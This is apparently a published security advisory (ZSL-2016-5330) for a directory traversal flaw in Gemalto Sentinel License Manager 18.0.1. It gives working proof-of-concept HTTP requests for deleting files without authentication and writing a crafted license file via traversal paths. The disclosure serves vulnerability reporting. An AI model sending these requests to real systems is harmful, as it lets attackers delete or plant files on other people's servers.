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Gemalto Sentinel License Manager 18.0.1 Directory Traversal

Gemalto Sentinel License Manager 18.0.1 Directory Traversal
Posted Jun 16, 2016
Authored by LiquidWorm | Site zeroscience.mk

Gemalto Sentinel License Manager version 18.0.1 suffers from a directory traversal vulnerability.

tags | exploit
SHA-256 | b6f5fa824af2472d89f14922b1eecb858b838bc8381d5dfedbce1270a4f00f76

Gemalto Sentinel License Manager 18.0.1 Directory Traversal

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Gemalto Sentinel License Manager 18.0.1 Directory Traversal Vulnerability


Vendor: Gemalto NV | SafeNet, Inc
Product web page: http://www.gemalto.com | http://www.safenet-inc.com
Affected version: 18.0.1.55505

Summary: The Sentinel License Manager enforces and manages licensing
in multi-user environment. It keeps track of all the licenses and
handles requests from network users who want to run your application,
granting authorization to the requesters to allow them to run the
application, and denying requests when all licenses are in use. It is
an integral component of the network licensing schemes that can be
implemented with Sentinel RMS, namely server-locked licenses, site
licenses and commuter licenses.

Desc: Input passed via the 'alpremove' and 'check_in_file' parameters
is not properly verified in '/_int_/action.html' and '/_int_/checkin_file.html'
before being used to delete and create files. This can be exploited to
arbitrarily delete sensitive information on a system and/or write files
via directory traversal attacks.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
HASP LM/18.00 (web server)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2016-5330
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5330.php


26.04.2016

--



1. Unauthenticated file removal using POST or GET:
--------------------------------------------------
1st request renames the file to meaning_of_life.txt.bak
2nd request removes the file entirely from C:\
--------------------------------------------------------

POST /_int_/action.html HTTP/1.1
Host: localhost:1947

alpremove=/../../../../../../../meaning_of_life.txt

OR

1st req: GET http://localhost:1947/_int_/action.html?alpremove=/../../../../../../../meaning_of_life.txt HTTP/1.1
2nd req: GET http://localhost:1947/_int_/action.html?alpremove=/../../../../../../../meaning_of_life.txt HTTP/1.1



2. Unauthenticated file write:
------------------------------
PoC that creates license file in C:\
-------------------------------------

POST /_int_/checkin_file.html HTTP/1.1
Host: localhost:1947
Content-Length: 770
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://localhost:1947
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVlbofFpDmUw9CugB
Referer: http://localhost:1947/_int_/checkin.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: hasplmlang=_int_
Connection: close

------WebKitFormBoundaryVlbofFpDmUw9CugB
Content-Disposition: form-data; name="check_in_file"; filename="\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\jxzp"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8" ?>
<location>
<license_manager id="\..\..\..\..\..\..\..\..\..\..\..\juuzzta" time="0">
<version>18.0.1.55505</version>
<hostname>LAB-ZSL</hostname>
<name>LAB-ZSL</name>
<host_fingerprint type="SL-AdminMode" crc="1439826437">
MXhJSWPdmwJr2iAIUgAGKBk/7N4U2GbJjLA6hGC1VHDvrsA2W+8e2ChuAFYgF6ZG
ttm6N6iupYkEEHzcQQrG1r0pIGBarRkAy0GR46nuTYFtm8iAMA5IBQoP82wKbLMl
gUKpUABvAmhFimCbrXumJpsOA8ApTjaU12zdm0LkvsgTAPECCFTau
</host_fingerprint>
</license_manager>
</location>

------WebKitFormBoundaryVlbofFpDmUw9CugB--

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